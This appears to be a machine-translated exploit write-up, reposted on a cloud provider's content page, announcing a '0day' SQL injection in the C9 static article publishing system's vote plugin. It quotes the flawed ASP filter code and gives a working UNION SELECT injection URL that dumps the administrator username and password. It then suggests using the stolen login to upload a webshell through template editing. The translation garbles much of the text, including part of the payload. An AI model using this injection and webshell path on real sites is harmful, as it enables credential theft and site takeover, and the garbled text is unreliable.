C9 static article publishing system vulnerability 0day

Source: Internet
Author: User

The program named C9 static article publishing system was not carefully read. Today, I downloaded a copy and read it again. I found the problem. In voting, it was a flash voting system. I didn't understand flash, So I caught a package. I found it through add. asp submit the voting xml. asp provides rss output. When I read this article, I found a problem.

The Code is as follows: <% thisid = funstr (Trim (Request. queryString ("voteid") if thisid = "" then set rs1_conn.exe cute ("select top 1 * from plug_vote where oorc <> false order by id desc ") else set rs1_conn.exe cute ("select * from plug_vote where id =" & thisid) end if rs. eof then response. write ("connection data error"): response. end () conn.exe cute "update plug_vote set votevi = votevi + 1 where id =" & rs ("id ") for I = 1 to 5 if isnull (rs ("cs _" & I) then exit for next nowid = rs ("id ")...... %>

Here we will see how to receive the thisid = funstr (Trim (Request. queryString ("voteid") trim filters spaces on both sides and then funstr. This function contains fun/funlogic in the contained file. asp function should open this file here

Function funstr (str) str = replace (str, "<", "<", 1,-1, 1) str = replace (str, ">", "> ", 1,-1, 1) str = trim (str) str = replace (str, "'", "'") funstr = str End Function unfunstr (str) str = replace (str, "<", "<", 1,-1, 1) str = replace (str, ">", ">", 1,-1, 1) str = trim (str) str = replace (str, "'", "'") unfunstr = str End Function

This function is used to filter some characters in a string, such as <> space ". The author may think that this function can achieve the effect of anti-injection. Otherwise, the injection does not require these characters.

Http: // 127.0.0.1: 2936/plug_vote/xml. asp? Voteid = 1

Reference http: // 127.0.0.1: 2936/plug_vote/xml. asp? Voteid = 1% 20and % 201 = 2% 20 union % 20 select %, 7, username, password, 18% 20 from % 20 user % 20 where % 20id = 1

You can obtain the administrator username and password. You can use webshell in the background by uploading the user name and password. You can edit the template by checking the template URL.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.